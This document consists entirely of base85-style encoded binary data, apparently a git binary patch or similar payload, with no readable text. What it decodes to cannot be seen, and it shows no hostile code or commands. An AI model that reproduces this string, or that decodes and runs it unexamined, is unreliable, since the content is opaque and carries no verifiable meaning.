zoL7oaF-1(3El58Zz)9z?`S=sCY|yF3KK2~o`Hh`q!+8bvsj*_H7|P<X=a>wsbz!H| zk{Ye>DBFQnTs7z{(F>5OzEMu2<u~>_JAt;{wF)tA#9zUt9|xifwL@@o3AZL;jg+wB z*jsU;A68)LDig5S`N0l%NE{Z=ix<R;;)r-jyey7-)W8|Fctku(RsivYcv3tio)*uD zXFX~Zp~k!7J@LNyKpYbvijTy{;uCom?UI2g)OZD!mseqXd0o6A-V|?%x5YcaSV*cf zHWDrkF8QN#yiQ2rQJg$4!d_<t^nido8^v*OW)Z89@j_To4bUG^xa%i=RCoR<<1(2? z4MF*Zute(5e<Saf3W^uPslW)giEKzKIV%K;ALQK%@eft&OBt8Qa%zjp@f7SH6qk7P z{<V7I?=mhHl&6}MUkLYzU|4J}$LZn*jEzp%Zsx<nQV)-(3P`XGBP2omB%iDl-^;i{ zd?({_@vV%@#8)yd6<^4>M0_seV)2=bi{$eQnf^S%O3yE3`t!hFK2H$Q^MGAG56I;6 z3*iVt(lHWoG4LvdebX%=exM!M(&;1?qhD$VFN~*0VK+Jpn2`-QLEa&5!~G8R^wF!I z7SnS9pl}{;uY#Q>N}h>F!&Y<=i{aP6A`{DZ@|`RW_LjXYUY?bk<e8)ymXo(w0_-2( zvqX75nS|b`m!SyhsyCAUA*x)5!wtpL8f<`4d(iwtUR(q%jR~^x>Ge<!9Yc40{>|MN zanJ2-q3cM}7i&<z5%S~Vuc5syaeoWf=e0L+J*+{>wWl%alR$%E=r=(7NY*)q>k;ik zT%XrI!1XXr)~RN{?}zpt@-JdnPBq?@H9p4m8T72dLi2)lL}5*^m_UO|n0{{E3ESR6 z*am07LO_<m65J;jo_r4umx0F>tP-}Lhtb-%+9Mi9igv&DsrDHY;vI}$fe{LbFjCPg zMl7Jl$OXI@!GIkj8Bk+H13rxG_W*YRE5s-Vq|kSCa!(Yd8K4uR>@Vpym$r0iYVC9F z@7fpIm)cj_*V;d{Z?x|)m;BjG;*XxGe-E7~b$O)J<<U|<#z_4btL@VsV)3wpJ<3w$ zoHIhoOPXk8CIkmUD#A#FB9*owE=I^vd5X&s<{->a=_<r=Dot(C^VH5*1S>*10<{s1 z;EfQ85Q<QN;Ds<Afu1Wvs8b;kF+DR5Aq9c@n1w*?y4tEmn%bl|9$^?l9)d4|zlz~K z$t(y|&lRX`YLn^@M<DnpZ%0T%ptb@LsBE(eL=SkEO1eCSI2M88J5~4!@fw6(2#+Bo zAe17|{Varg5cVTbJ4DmxRTzVq@Y#(}gYY22Yy`rU0^O&;RS<{?j&D>TUWBQ#6^Mr* zoQbdsVHpDTGZTUML;X-7`VcJ$*AkCF{k!t6ds9&683^ag5n@!`AeAP1M<I|Lg&?FM zWFrv1z`yS$l_xj|{xSrrL-IlLkc{AiKy)KGNIqQrA$}3OR6i4e+9f%lzQ!XEzbKIW z{x62U?>*Y1{{ELj-*+Buk$h4hI-ME_XX<kV0?EvO5&C{R<vAL^p5auSARB!oGjsl8 z7>W9%4=9jKQmFC>xhn0t=ZZ-dC{4WmPXfsbh5w*#->)9^0+1f-5lHS%4Ky~02Lx04 zDS_~Fji3LE*c<J829p1O7b<Yi6-a;nF9u07)n4BT$O6J2(wfGvp9(IW{TE}|w(A*^ zbsFcM!H7K3n&yDN5=aN6AdvjcIwhEq|0DiU|NlvF@#H_KD{1MfN3^1O$`xEX%QGgu zMmo<kQ2o6B!$5l5Gr088AH^2bbp;x;NeDDv3K0lTnumz?q*JIK@pcUY;ZC|M5W$W> ze4#K3Ap(K!QJ%&$#Ul}@-2w!nH_g#B=7|pZ2sDR8A<*1I>8S|x45cyG$nik(Npr(u z1j3JCp}CXf!bMM#1JVlwFQo|wiizd~3-KXX#lDD%KQvFps6gX{(gZWfEu~Eet~rR> zrC>lHI#3|^$0B&@a>A8pLxFS;(a4id)IJ5G7r{q(Qr}dUaG^W}Pn}3@674(#;YWdJ zNpKJhqyy<$im8t|D$GDkI8z{AQ(X_eAn8i9C3+G}L|<1RS`e)f`hG!7btsHOaM7M( zdd`VJbmL0b(A-3M3NCmlCftY@o`L8}K|>(EkepCmdX~l&wNHIgp#By7vYhH|Mz|Sa z8^T6}ixDnE*ottAink#CPwQ<*-J1}0A?!rBQRS(RyH$Dz;{UWBXwtv#`)|`EBQ*YK zZAJ8;K=esR2=RzX)+u-+kUY3znzt#?^AxB(YJ+I$l2<AtnL_CMKo6Yy`~tzOhyJ{h zM^~O=SDNa(o_EE6^}g(r`c=Wz&i`LymwdWtKyb2W6-^LR+7otJ?=O^lKKt*|)TZm6 zY@hh40+mylD^Q+jE9)tKx%eh&?(wXvjlUA}Ou$0zzK8I<4u=?`$8_(H+8R*ajyk6! zT!HW^0_E2ue2PHh{4|fS1nH|0XuQ9Va1p|z2=MCbt3-g;QXk$~kZCGAh_D!;)FUiK z`a*>JbQ??GIY?iDa4*76gbak-Q$jiNWeBdg8op&mJjyBn1Hs*m@R#sF8wAUL)1TxU zaL{A&dc?oJ?eLw_ZAUWiy1<7WZ<)f*UJZ-ODEM2CVPoM_WPo2*ExfWOz%Q!~zFXwE zL4F%k;knVsro%=v6CPNzVI4|_9WoWR&NNuIGH`N|1<O*7^x3q*lhlE?8ggMn%O@*~ zvg3rpN6LsZmvC4wBiS&Vs6^qcBnH-(L>A1wVGq6^Hl7f67fxh?V14p~6>2{`uJ*A9 z;1T}}EO?LM{mVPqO|aeUf(?(}7$||QbPjAsLtzDcn3G-nS$L9t0iUu9;bpRsZD!ZA z9qb(L%jqO%1A7woz;bw@1;TUd3V7QcU?z4OyA(EZGu{@ul05}aw1W)3DR|T3a(HzG z@F94|^AUC~4}^91Je&w^gU3}c-k%vNy{p3ERTYU-gyHb0iiSs3Ec~hBxrv+E<Ln96 z2Jfas`2Q~9N$fQE*QD@N*3L(;rSMrvhi6kJyrHt;OJjjwjSYS`4*1>V!sjL*-dBb2 zzAA#ZRS7(=%HTOw!7Jf!Rn2SQeKi`MoMTuoOhz5>yBdeH4376lmch$x0<2eE@Hwkv z%i)Pt4^OPg@X(qHADu?{=*(c`p)(79R&(HIHIFyJpQst94&CrhBY*i-d?8!GTlpg1 z#!usm;jy(8{&F3B8GPnC;d%54{O4A{hwXG&Mo(v}`D(rf-hF4l?`RD_gP#e%qZ{FO zbS7WN*Ygeh9DXirr|0tv_=T{ZZiJ`KCcc?p%r9Y|!GrBmzJ*`LE`p!!6?`kdl5fMi zU1#yD;Qh7^es|Zfv-!3BI=-D>&v(GTXD7UIck!F}&G34=6~216!+VVU_3q~P!251D zyy@=6Y0h5w!`%-bynXC2yx;cYOk_TPklh3Sw}ZTgHS>qqZuq=C0w2G};N$lMyw9G( zS<o|V3x5`;8+~{i_c?gL9mX55U$PeXp1p_@j^|<9eTlsQpQoenfBGBzqh5o5)En@P zdJ7&@Z^J|GU3kd7&t8Oo+%b8o^Bez=z05!2AHz%TQ+UgL4iCaF;N=D{LiREIroQ3d zvW5Jg>?l0vzQ_4bEB}GL3QxM@{3mu9|C!wjf2v>LOZ6K(;!eOLt`|PYOmMbG2%!ms z@WPuyzYC-A7CypP_z8dbI)1}mgN_ZvDbgZ%NxdP0MF^~hp(0F#<Ne)8`1%ePQSfAr z!5h4BB3_t;StN)=_O(b7$?PGKB2vW&k;Xn3>F~|E9rpig*bVGDks&fg7T)yD5f)(; zHenYI;lw+?c_JV0{1%Flq6lyOmWWbOCdx&Hs1#MA8gBrP5~IZ!F;<KdwPL)OASU81 zz)7NB;5>@Xvcxpe2>-enVx}Npyg6d7m<La}`J!1Y5G`V%XoXi?n>Y==c1y%kc-nQq z({8!w6kVbl{&6eCD){NGhR5AnafUb(-galhlW)DyefiFVC*K9|u)7F;cbnh^crpC= zE|orkm%}4)D}3^{!Sn8Fc;{UUf57eV3fuv&zMb$9+yyVeo8gIfD?IUThbP{h@WQ(r z-hI2_*|!ItefPl|Zy)>zb)Uk6@F;u;zI=ah+Vn?fRGueF?0fbD`_Xl-^hc*r@K+_z zxG%()1H9wD6W_xd_(yRZo^wBoe@SmSycY?NxfARs_A~tDdPN`n<v2X#$WP7-e%;=h zkLFAMbnsmtq6KO}TCf%ZZ|_ho44&)}TBJ5i8?Hscr#(iC)#9{x&7_&N1T9fZ(vr0l zEft>bY49%2&@#0wEnCacESgobX?D$_Ikj9ZPs`T|v_fs9R-_ecC0eOgrj=_ITBTN{ zRckfcDEK9hfoJkKtyUYaP0%K4b=oAYUTe@MYg4qT+BB_Eo372!W@@vv+1ea!t~O6= z(&lT;@MUh%7HX~9BCSn3O<Sxj(U!uyxdZ;q%e79eOY7EFXe+f<+UeSAcs#Gw&d|=( z&eG1-)@kdt4ca;Ifj&<=U%LRF&=+YNwN2V)?PBc`?NV)vcA0j$c7?W8yHeYxU8P;E zU87yAT?c>Z>$M%)4cboaMtDx&q}{CDqTQ<9rroaHq1~z7rQNOFqwUu2g-`WfoJ8CY zTl@pset4rE&<<)n+C%VAeFT>I$F#?_C$uNwsroc~8|NSI;PmMdb__nsl{nx1h`p;l z%ihO{$RX`8e2729X~_#XH#q_i)|YYO{EGHB{p~gF4OsTy(%#nIfv@9x+WXoE+A-}z z?IZ1D?Grlp7<9_;t@clxG<^SOXASV{=LTWW3<iT2(+oImH+XwDWy5d4V)bqv5ZnCd z;9f6sCvDy<+S@Fa@+yjLHmg&{7P~CBS?qS1x7w=p*sAi@TtoGW&JHTHRNHIxhsv!g zcBnX4#rY~OP;t46D^#p^ZYkG0u~evbDijbEs=W#YT!m_{LbX?++N)6QRMZ%o=6ANN zY@y~Y)=Jr|wOR)cvE93AX;X7&N4s}ZM{7rW%VNK#&bIc}rsfsh@)1;#7+I?;@~8>K z5+cMBeZ&$H)N{qMXXI7=atRso6#-4MS)J?wI#_xpq^Y^Bvw6kRg-cpa*Gqz$7PPf= zwsf_1>G>hD?{cf_;nvQkl`R8q*;P*A<I3q+={bLio1PAK<Ea+}G<CNvSun888r6!9 zc;0}V0!0U`!qvN8)9G2Wd|<9>z`X%&mKO}TSE1*;n_48@{F~iG@@rnu(cRSC+|u4{ zT+rME{ux^&n~g0p=hxDIUvW)wp`yaOMKQcZCylzVxK^RKU8%TNskmLKxLql^Y_T~D z{9E1N1hh7HEL{rr5<q^f{e1_tN}zN+LOdSOONM$rrWXafAJz*Di{>|V`Y&?#Wo+}1 z=PHX1ex)2f*6PXv?>2>An~t8bO|n(Aokle+HhZ4`Y3{}X7JC35u(-9erKNpIQ~QFp zX5$h`bmJ09&wwQ!^$bgZps`)Q->%<p_qgxh-b7!J>Fijxs6}gOZ#8y!LM#U|AXNmf ztQpd=Xaz=G=Zd9EnpSjscj)l@cXTaj>RKc_@#<LA(b=wJTBR_pRt%|9?NlkoRV#*7 zxnjlmDp!3qOsn#Y@Wa9=H+Je6bb4T5?2@<qyF4h><#At<(wbKj+}hH)6y%z}L=96z zH@Ic&mM!Y^wn}&{)?B-Bg(n%L9<x?gD{!jwhO8Jsh82p9D|9w`tsu2zTp^k1wZcu0 zYK32o!nfK*A4QjHNf(Q?N-AK)Qeh&l)RCwvH?Go=UFAmBca=-~7*|P6<G<Q{Q|CjC z)3{pRQdu=#Y6^^NWOIIN`bUAW+yikJ-^-QcmfO6`6{_Vrs($6CYG9?bD<lfgxav`T zPC#DKvfLF*)Sz)y{c?#i^5x#;)jF<~Zgl)A-GEj}#u=+HAvARxt0maRYFX%4-Cs?| zSf6>&d%1VDLZEtpMo~~yDCjE{G?lI)>lz3WYKt|$#($I>s(?`*;^sH1zi-26QU{~m z6^&y&iR;o{au&oO%l96mU>l><!5Cc~j2Y`c*4;?JIFH_pwUS20T76v9dfYP90ubW_ z{r&{~{sfQvS~X;Jq6a{(QCO*nQCU4?;s7z9sDtM}(POkvbW3-YLZn&|OP5+}b(JD& zwIZfV59-p5`>y&*B&u?a^*Yq`I@I+ZP#YU`p=j_RNQ1|Ho!<r3hRHOzC(8z?%wn@j z@G!V-#wngyD_v8qdauqMGGzePQxsFCsKGr&4(=)X;GW_}zgkIdjY6~9MGi&IYDoqR zW_?z&R>@I_yiz(<1;%MQZqwYj`A+K}+|%^IJ>7j%jb?{&y650lqFa-1oFSX@o6#?j zk`NBNh1LNU#QLnIN~KOhspJM?Nf*Sr$UE#h*bcjFALTmu4!f?S9CoSOP_C2NVb{@e z*d_WXmpTryP6mg*__R12l3a*Y{|?o^L-p@a{X10u4%NRy_3u#qJ5>J;)xSga?@;|a zRR0duzeCrx4y)?ls`|I8{`D2J#bH(b>nm*JRsUAizg6{bRsAb5bEvt*VO9NGRsUAi zzg6{bQ~ldi|2EaXP2q1-{o54&Hr2mP^>0)C+f@HHg}+VVZ&Ur-RR8*pz~Zo}{`I-m z;;6FfQc>lxI;2uh8BwC^a4Oge6wC##yn@lGaB`~qO4J=rg^RupusA9et_2DgeO+L2 z6ewIO6^#1CYjHRg4*Gfmd4*en!nHu%*LMuKuiC-RK}x(+(MDhXTO8G@-#m3+pPwy` za@C%ij~)7aZE@7N+EF~zw;L9RzRf_a?$;<f=-UvKD>!OY>~zsd;pbF5bt-tAil<IR zAE$x`3u1{!m1;-VoZyn8ca@^AMZr;^$_rd{cHLLy*lX(Tss1f4{wTWY3u^E~-Pbia z@(MnEdITL^?Yj7*`m?zBqv&3s^7?wh;;^{*<EroCk7}=4^_!>e>naxfQT3Ecb?7P= z{BgD8;*W~;MF{wy?$@aH^+gKG6+Sg8wkZBs6n`u(`Y8TbT=iW2x%i{t(q}fCB~Q{B zvFs1AY!|U?53y_yv1|{qq=(Itub#`7{6Sv!gIMwvv1%`0wU@8j%UA8?tM>8>e5LJx z-d6CzhB;d%x>t3`gkSd}Y$0UQcVWkhPL*oIURBoXYCB!8*M%*4yPj-mYhBc>S8Q)n z4eEW+TNAPmnV>!>q57bt-iMx|K4d-WL)O##kV(A{SyA>uDUwqdIduH3x*kDZ$KR@t zALMoXt@`*uUZ<y3ANR=XbhYZ^33(}xh^5>jmhysFr+c2Vn&jzoh|Q{xC&c=FtFHHu z*ZE`B#|iQZ4qcBSuk*vI%c0Gx3?vo$oMWrd<;+&0&qc^9IFv!fs_PY-RbQ4O*7<KO zaK(xax;&$O)xU1ez{*F;CCXi~lvkV6qSM2v>jC6-Je<1zKwfX(sgDQbbvbid^!A<l zI6%2hXQxGP-)V8RuhZ9Q(dp|{csUimPKB>i(ZQ+Dy*8(!yHlTgk=OBa>T@shs(*d% zMPBu<&%Ma2{`I*RdDXu@_aZOHwaux|y@+*wI`z31d0oz&`rM1W>R+FGkyrieb1(9$ ze|_#nUiGify~wNnl{L<(&%HLMUD4mJ`d8LFr?TET^|cr3ss8n~7xJoqeeH$3>R(@b zA+P$^*Ivl0{`IvN@(O=_?PYW7YcIr#|N7bsdBuNy?S;JJzrOZDUYBd9zV<?1@n2ti zA+Pwauf34h<=UyQy=+c39-V5uIraGt<%<4loIBMxcdBvjRO8&K#<^3CbEg{TPBp%r zYJ5A@_;#xC?Q|;qa~1t_75#G+{<*6ET!nwGqJOT!KUdK|SK*(l=%1_b&sFr#Rru#B z`sXVAb5;LpesJcg{`Gmz=G50Ch*ke;-f*gU!>Q&Cr<ymMYTj_>ss8g+|9PtaJk@`m z>OW8QujU!2nrED9o^h&q#;N8Rr<!M+YMybbdB&;c8E3x2KVS8qulmnd{pYLx^Hu-( zs(+<Vol2iNl^%5}z3No@%~_!6uk@=^=~t)Ht4^h7odv3YeLV=fpXy&<7b36vFR1aC z+c$k}>nC@E+4P#C?*MCt#ikZqwhGyh#jX}scC}El>xvNNQV<YJ#1Tt|B9;P%SPB+m zS36RWke2`>mISoe)#k&lHXC-eiLk51zFln!>}nHWx8>`=>l;0ZhujMK%H*Psj>Y<Y ziR}>AR#MjP&&e%ve@;Fg<lbY-x*mDiut#3j4|Lb3J_B7H={skS+7b>wo%YR5T`j>L zY{;epfBg}e4(#8z%4|P~G8f{xN0%jj5>!1Yp^{0D&h=XoT|KGzj&6fg5+X2{z>snv zD+TsTgv<uedKv7J8T~1Dw|d^)cVIskJgU2qAL=5LyM_KDH<bNF?smi6<aR&mQRv3Y zqtN|$sQYo^mV_<T1&as$Jsx%gEjJ7nwSc!+s^H`T&kcM_9p6II;FVF>1E&xl<{L7! z0N-{FKEUuc9xm05xa35`>xTuGOh3T*d&uLi0WnAH{hq~Y4>5-%n?uYdF|4<i*Y)nv z0!|!XAga)VqwhG*w}aswlFlydfx`+MU1Sf#@oaK`55uVkydO+G$S%F9z+3Nf5DebI z2LZb8@g6v&c(dWMy&*XV;ZVa-X288<9gCa;Y&h!TgP6w&>Vt5L@jY&_niEn|69ai- zLJB6vk=*G>NlY+$r<QQLEh3iN!;@{f#kd>G!y@?Kv-7>Y0vn3P&0N{pkYUd$44)L$ zG3~Tf1-);i=1!cMo|9>JOd2z3LR5B6Qtar=f~NT&FP@T;R8kxk9RvJRfqyLU9|m8a z^@Kkhe){n@^y42+=!SdXA4mm(9t8#}FnADT7!?fD3k*PQxFiU@x26*$u%AewXvl<4 zE!Jd-b+&LiN`&1OCnD`mdq`p`p(|-1F}}z<Y*b0cD0^(IeN;xgB{|y9d+XMDsRae7 zmpdnCq^V+IP0hjzQ*cab<eZZyT2s=lPD?4yt;;P2z9WIJ74MQoz`qIjMv{}0#5WTB z4(`X76YzM4t)JgUDlmHB8%zbk9{4H}Ng*@>w>XKfhS(@O2u4|?EDJ>(Eb$GshuDd$ zaUwh{P=Md5iQ$QP1JE70)jM=_Ke{EOL%p{i2c9<ID?aUgGP}ry?#P@utrAO#F9Y;N zz%?GcjboKPaJq_@M0SlCKY|~h)9%O6a}fCf))2s|3*|7RELN`s7hfVGy|W>HM&br0 zjJ(J|&dZCNDwC2bn~J8iMt25grQ7rJoEg@TWig8bl4}-}mM*ACt}ZBv8!^&8**<cF zsjL9*bS~-p^na4R2!b`jgB$<7^bKbQ$qi5GGqFI)jlt3v^8Zfyc*)5aPw@lBHt-|` zJQ)t}Hhlft2aa(`5+EPQUsS*R`4GlFf5@GK_*MaN#s@r#lJXRUk|^0oP)@nV>gdx3 z%MY-?qX$?71!$QdDUe*U5lTfLU9sF8-p@ge_-Ti#;e{K{Pb{BZSU9UJvG<0OqU?%c zb#Y7PS_+Ql1#CH^v}IIsa#d4Nrmw9yF?L#VF28T2&Bw=H2ze_8OEWRH!dNHC8=L?E zluO=x2_s(*9x8?57Qis75k@15lsTbDYD1GLU!($5*#R~LSZSbFFk;g6AxACNJg^Ge z8Pb>GiQ)F}#1MP9dDPXrc8#BO@4<ryclFx3cwE=GiiWPGUA-T7(Kj7(`ZD3g)C#!A z!t?Qk9u&d-Q4*3`ABEN_9@o#6Xo3*_jQwLKkqQz$3N$Lv*ifpG2$&NjgR)Q*E!)i^ z1|5YbC7+GNGD?6`8fuP4O?huL?)AW@GK-Ctj}+vTd*MTO1?+4DvHT#M8;4NM$C2Q( z53npeJWi4(8mW4uFjm8iiE_B+<~g%5f2fGq9_b=c9CzuQK&0ZtNDejR?MTVsMo0y6 zx!M3lBt~uAI(A+`q$9_iYERF$n?}~#t?B8>GtWrRF%>n~Bhy3ug95^1f>!2DutjV( zW$g`1vre;TUzwGbmX$eTgrj~!h$%BFGb_O8mz<E2<Y$biE6A$O9_AktH)4rz#Q40d zs+?h7UdEw;0fF8kVnl9cSY*iXVev71T4utqgiLwSwMM3#vl8)bunT&i$l;DENtFa{ zY5m+vAYR~m-~HSg#J&)!5#pi4-RvV-B@qk(O_PwKsXU2=$Zm+v8M4fbm>7$hizuFw znnwx|b2CleE_JC-W2X=^cEdRnTH+_#Yl{m0U^+XlX0!ONbs45P&Z6AboFY@%yz=sS zW%{(%duB@7Sv0FTb4&UqIT-%9Rq*JABr|gBmB8jfifN2Y=%<U)rf#|nTHL6qKuR&K zPjoeth*oJtL$Y-#PIO5z5|CnAzf1&Kq!dq-QcT}aPLz-2=u(^mDb9fu>!Tx2k~jj- zmB>^MQlnkcP2<2d>kJg*Tu3nn_#X;zc$je@r9(X>nx}b6@Y+^e+LH|deuJfV<5fy% zpXe9k*G>`M$hv|VvjgS_Cr4&h4isB+{RI9ux5V~7rNkH-vK-<Y4GlS*E$+dp56;mb zj!Q!hT5}AV1U#2ia?z>gLAmCj`G6LZJ(y*NG9NU2<^d*hhFPp~m7&R1Mo40aBQYUR zgoh-SZ#DWxC0pZ@OEQOVofcw_3ff8wiinihkm0t`IlcGs!UeveF`>Qp(3qQpOE$h; zF$8Ouxg=l1)G{upU#^DIXd3D<-Xf_0OC1`3LjfIrjN>>hn!PcuB9RZ2Os6~gS|bo* z8U|I)6H>6=1DCPb4Ks35>}JyDyw;YQYD4J#@aCI&{?)w}QIi%M8#iJ^Tx@JwZx-}> zZwEBHU^Dvi`7?ml4`5ECp9~nTCP>;51olHbXbMt`A_)HADTpQ`e~H0RU|_LE>Trb_ zGx$J&XFYp}&zdmt5gtt7T1SkS!awgidANMC7U+hS)@LLQwUCA(teJKNfh@>F8q^qc zuRy(snqD5{RWqt2uat%%R0AI~Dw$3);Khc>ktcw%Kd4GlP|EGzp^2&9;o!b^^^!Xe zy}xIhmDoOOQrC;Uhd#C5PjJ!JD-3Y?vQb1kKj!ZNm!g>)E;ks1X-102=$f1*536?U z;I<vTmM-4gb@I|KG#`iF3b7(eVz>36OMN|l%9wELDz)!&7X%T~K^|oBT*peX#88bG z4=o=`1)+L@d#k2lTjs5g8ZBp-zGTwZ>%I_TVhzTVFO4S<GF&d(Bkd&^Rv1ema(Cj9 zh+E|ykd-zr#AqBEl{9S0s^MXw(Wgg-g~bR%ZIYvLsA*W>4ZWB0`AM<Eqk6ZvVkHyN za(xI5fo0tQ4WUTwMqa55cfla!J+~>eh@!P4Ep&WYXg{tlj80V%gEfRO%=tI^Ar0%= z9Kaolw=A&RV3>Gy#UIu`+Wut6LF+!6ZE4>Tjg(98>+4inr<}3}%q*Hm+l_feuGp5J zZ$s$cY`8WZ?Ii{E1ts!=F)^|)AG^Qc|7rK9sOTo^pxvLEL*)!9h0K%A?%kjGgWVr} zk<7LG)5XYR_ZN~FI$+WDXS+Yc9M8>P?>julWBW&YtNj1loxMcfy|c&9%njOGg<(wn zyS)|d><3QO{IBio9X!WlYmc!r7MjE+4B#&IAGFCHHdt@Dc^W`kAizU$D4s%n4pw9V z5X>N~OnP7g2x0;H&@qylAQczduj0T^jW!^1GZk(gyJ{8p_x2v1nxA5A&&$8FcN}d( zE{}1h4ZE;B=NimaoLMn)A|R9LtfL2$qi%n4>Ayj1HO~P~3nwxd(a(Iv;xk9IG^0hB zw=AOxh4fhuhN8DxxFzKDK&8a81eDVl!-6#q=7(Ht`*L`;hOGf6U43_tJwQB<)3Bc6 zDO1ljHN;JFWZDwq8WM{#qs~}XyVx`~a<qMFLR@`fQC8HM0gkNk=H%#@h!C$KUg1fO z<VmyAQYH^ia76YO%mJ?H;83U_<}9EcB3={&ATC_}i6Q<hu7ABgXw-QkPlF7fF@w@D zf&;W8^g^uf2=xVpw4-4y?vzV%sBF0><df?rY@TV3x$yAe!;{NTbVVhu-Y++V*uR1k zk&vHA)<z`NS2!-{25B#~U3Cl8APbo1`iI5|t#?Q@2C8wway%?vFg1kPZ6(4<HV1x= zF=R}MYh^Y(c<a_VnI*I;;}d$Hm8&w|a1tMk=g^i6Z|4}G&#Pz+F>tOPG(8MjQF>C; z3sP*??D3qI3EFE1w^v$ytd-ji3d8$%-~B$i<B%hUcYNqKr`FJhC|GWYTof9lH3u!P z26e9{Z}$>L$$%^f0zU=#Dqz1bA|{*f5V?>Ewd;R)e+7TuYm@zoHx&7$tSH`N_p|R2 zhTb`R7lo52_=4W;fE&N*gm;$=5V=)7keZ=#@^is0NbZD(A{YdwCzYhOSGq&4w7l>v zjXe?>AE_E>(c~rdo^FEnBf^HJD#~I3mctW+c;plN?#N5`$;iKM-xGJ1XZd7SaAR*n zWo5(9y+1TnS2q!NL!razcf^8N<6wFZlE^^}Py<LVXLY481QMc~BZq*Rz5ooY4#azk zIQf;V&*QtV`Z2P$V&NI4qc@Dp@xkwroxG!<sH;)%x3_I0m?}Wa2q|$5w9FhRaf4Xy zxjKaL9>djT)FCS2`(~1I^4H9yPO>|>*=Y`kWvYV5_kPVE@BN6Ut;I(t*Y<wZh3@bT zNW5W2iqfBS2nep0xnw`%{c8=iSa$1@L4(uH(;nb}uScSLEI?qT7tr&%HX-_$Qxm-t zA#OZTv-A5iAIrG<k=GvSecPvM%k8&|o|82qt@jtKr^W-WOu!X{Sul|;rQZ?63$(J$ zU<ny?6Joc8PxbGH&^;E&R!&n5ZMbz?c_P3fD=guiD5o`D(<h)Ft?X?P(9_=Gv?Deq znw0@LgNLid1XAOFYF#=quY6R;g5KjF<l1bxwFPj}a2AN31yhSg1sj9wMl~*KOR~gT zlAhsdiP>@436BxCX<cW>w-rsas-qvLrK!U;a+G|zac~or)H11IA|=g9!z84bapW8W zlZbb=Ho%0e@uJNaT(CK}p(xdVvoUyha#XS1UhK&6-|U}S)DZB<-FH6{>lmAzFg!gj zWbWiOljoM%60*lS=?tR`w9f_YeK4@c5s5-sn54Y7lyMidgD9@XxvqWsq1E@%9(2v% z{R9mu`{?2eFTD7pH!Dj@Dl0|LzB}&Nw{mLz*^{RB+K5_pfFux*_|vYFJ{U_|FjxOd z8~-u2IQln8uKOU?=W-u#9lJP1L0?Hh9A$;O{_6Ony>Icj-jDeR(X)2v+B?>|V2B3{ zzHB^Q29D4F8V1@UsD4B0_{+V|@nOAR$X<Kjqh1psCuYb=8m+woG0|suV6My*Zp@Y7 zxb=P->EJYdOGbjDpPtc=NYcR&_UtIr2SqYsU4tcqJSi9yauS6wk-ZJ;ms4d+t^hEl zUgzr@m0~y9C+0?PxG=YVWD3MAXjoEIL5{uLZd-No{N{)e@k1@M&TY8wkyz*0tb~X( zQ|O#2ol_PT<=9W_-9%WDg*#gE_gd0@1No~|j2lZOU+w~BUUZ}Fp6*B+;sdr4Sx)9P z`ZZR*9H!qJkhm8?ki~c|l~SVAbvp+M%81!?K1E{76R{!19#t+R&fRm>Rrt@7dfyX0 zy`S;ulQpP34tNZacwoGoipL<`=^oW|CPq5kOG+!He2(gK9H~lqSO?`zruT8%w(%#o zZR_Cgb#(M5b>O*_zT<eynbv-#w2B_M_ETGOH>unbLM9Cw1EJ^>Km1AvhN#0bwRnYn zi1(R`r#cs}2)@K8D=Q`AbKvTmGd?$V@wC{ie5;)=T?+`vt}zo3NPCM9q}0>iGKhO> z=5m8Hh<l#)7WzK4&OKU=a++9SWg#ZeVk$I|4=dTW&8K$l?XSFh2Tz>#A^?1^dr$A% zz4$Z*{o)P7NgXXsoU}Q|58`-?o<AA0bk;x=AzquqXI+JlZ1kLbf^bbmi}b6e!E8CT z7{Z2nv^WSgg^3&20jiOX*gf~Rv~-|_8BMtwj@f+?dm&GUC1h#hd5Qi!F_NS((oW|x z{9Yg54I6xYHte11Gxe4YJnyOAYk2EZy@y55*Iz>*0k3;xHIe%KUmRKb!jS<!f57Jr z_(J6XA$wRz;vxTa`))wsM`2Cu>9z2q1P^{;8~Usm`ph5dM%puUOUwZl(7(p`li80p zmL#*J%0eZFTr(d{)Ti1qHlKIiW(s9iYZ*eoqj%l)D23H?r>velS59_-2*16FH}v(5 z$rNI&%ce=|3O7`LA}zE!;c9LPg7VbI70o>Q><k%FC(&3igvebJ8P98ZpuH|HCMK`W zzG{*)EzLPe^u!m|+wJv*@x6T22&@%GNQ#w9ijf5fJPdPNfTUQsX2C(bJf&`=QXC2{ z4FzN_Ekj3py0+2nL;ip@TBj#YTZ-{z4SmZhS3mZFbQOV@OsZPkLZoe3eB;N8xQ|V! zNDF`PDkAVz4~9>8!h^($#wDOJt>Tsusa;$r)3n<=K<yaZ!$lF@t=K(P!*DdrrD7ir z)O0HXi4|!d3?w)C6BYf9*dk~yHvq8W!>u|8%0^yv^NQ-J#Db|h3&x%n()%UXx+M>u zr*RYyxy^*!jv$+|H+{OrW8AAPs~c`l&F(EFHcU~NkjLIqf=I{@Iog9sIZP@hd{G4@ zW{jj$EeMJoo)!do%E--)8%9h^nVFNDpJ5*}XY#qLCY_!<C8pNWl4Tz=WmZB}b3mbO zUit`2R&t6@K=9)6EgiOux$%h&NlCs#g620^8;TPMyI~juW#ErDE2eo%_XcuF)}VPy zu}N}8pRwdxiZm2-6Al%^`KoP)@llM@lTV1!wQ}{8C)Y9L2valI{;Cej-1JlXKzD)L zwCtLVLql-3>e|@Lc?;{5kRx89DQ0s@sMog8+<CRN^KxMo>8&y6rG$s4<e7O-?~Kt) zMkgiV!f&O~0K6vx??2n+yMa(Pa(987%}|CwAG`ceXy#D6_T<6a>eGDE8*adtE_$y& ze3&=O^?^V78;}0vemVG*{qi6UGiXSA_9yqtp666#Ff%}!jKE8mFC#Yiw7I9X1kIko z{UFjdpTMMjes0G4Fr#nL1x3Eburo3q#ZDg}&pDT0(%ZR?-+Ho!ukSsZWW+@)2|JGB z2ki9+&3tOt<)+mj$1eBSCIbsJD8@t&^gDh(UZ!XZs&5`?J|tHJv%bMk4DC0jh>3TN zw))z}UjOuicNN%u97WeZxT(E;6TZPSsbkr)4ji$`FU{l2DKz=bpoPG|8E}xs8ML-^ z)102xO%hO@AT0-3$u=g<5YB#>!asWdwz0WBxnpm9|6ly6T^C)ntGD=HfWrdb({Gyl zGVJfQQ}z#o#+aKr<gY^G%Qezyl)_<8(ujsCQOjaY!}pK$4ZcY2_2t#Q&+t!rAL0|w z;SaApr?(0ndd|G5?0Pbo;S*GNm}WWJOnUC3|H2$hmd{WnaZ$9wo`?du!ZsmcLBI;z z3qQIY#dgZfK}=-cbejD#5^~WUOo`<vVX{Q(zy1km;Ovt(@C-B4HOE)Nb(}(CbaWy@ 